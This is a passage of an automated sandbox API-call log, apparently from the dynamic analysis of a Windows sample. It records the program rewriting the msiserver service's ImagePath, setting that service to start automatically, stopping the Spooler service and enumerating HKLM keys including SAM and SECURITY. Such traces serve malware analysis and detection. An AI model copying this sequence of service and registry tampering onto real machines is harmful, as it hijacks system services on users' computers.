hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.992] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.992] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0241.993] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\msiexec.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\msiexec.exe") returned 0x0 [0241.993] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\msiexec.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\msiexec.exe" [0241.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0241.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0241.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0241.993] LocalFree (hMem=0x7e4b18) returned 0x0 [0241.993] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\msiexec.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\msiexec.exe") returned 0x0 [0241.993] OpenServiceW (hSCManager=0x803918, lpServiceName="msiserver", dwDesiredAccess=0x2) returned 0x803990 [0241.993] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0241.994] CloseServiceHandle (hSCObject=0x803990) returned 1 [0241.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0241.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0241.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0241.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0241.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0241.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0241.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.995] RegCloseKey (hKey=0x150) returned 0x0 [0241.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0241.995] RegCloseKey (hKey=0xc4) returned 0x0 [0241.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0241.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0241.995] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f58252, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f58252, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0241.995] CreateFileW (lpFileName="C:\\Windows\\system32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.995] GetLastError () returned 0x20 [0241.996] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0241.996] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0241.996] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0241.996] OpenServiceW (hSCManager=0x803918, lpServiceName="Spooler", dwDesiredAccess=0x20) returned 0x8038a0 [0241.997] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x110, dwCurrentState=0x4, dwControlsAccepted=0xc1, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0241.997] GetLastError () returned 0x41b [0241.997] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0241.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0241.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0241.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0241.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0241.998] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0241.998] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0241.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0241.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0241.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0241.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.998] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0241.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0241.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0241.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0241.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.998] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0241.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0241.998] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0241.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0241.998] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.998] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0241.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0241.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0241.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0241.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.999] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0241.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0241.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0241.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0241.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.999] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0241.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0241.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0241.999] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0241.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.999] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.999] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0241.999] RegCloseKey (hKey=0x80000002) returned 0x0 [0242.000] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0242.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0242.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0242.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.000] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0242.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0242.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1c40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0242.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.000] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0242.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0242.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0242.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.000] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.000] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0242.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0242.000] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0242.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.001] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0242.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0242.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0242.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.001] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0242.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0242.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0242.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.001] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0242.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0242.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0242.001] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.001] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.002] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0242.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0242.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0242.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.002] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0242.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0242.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0242.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.002] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0242.002] RegCloseKey (hKey=0x150) returned 0x0 [0242.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0242.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0242.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0242.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.002] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 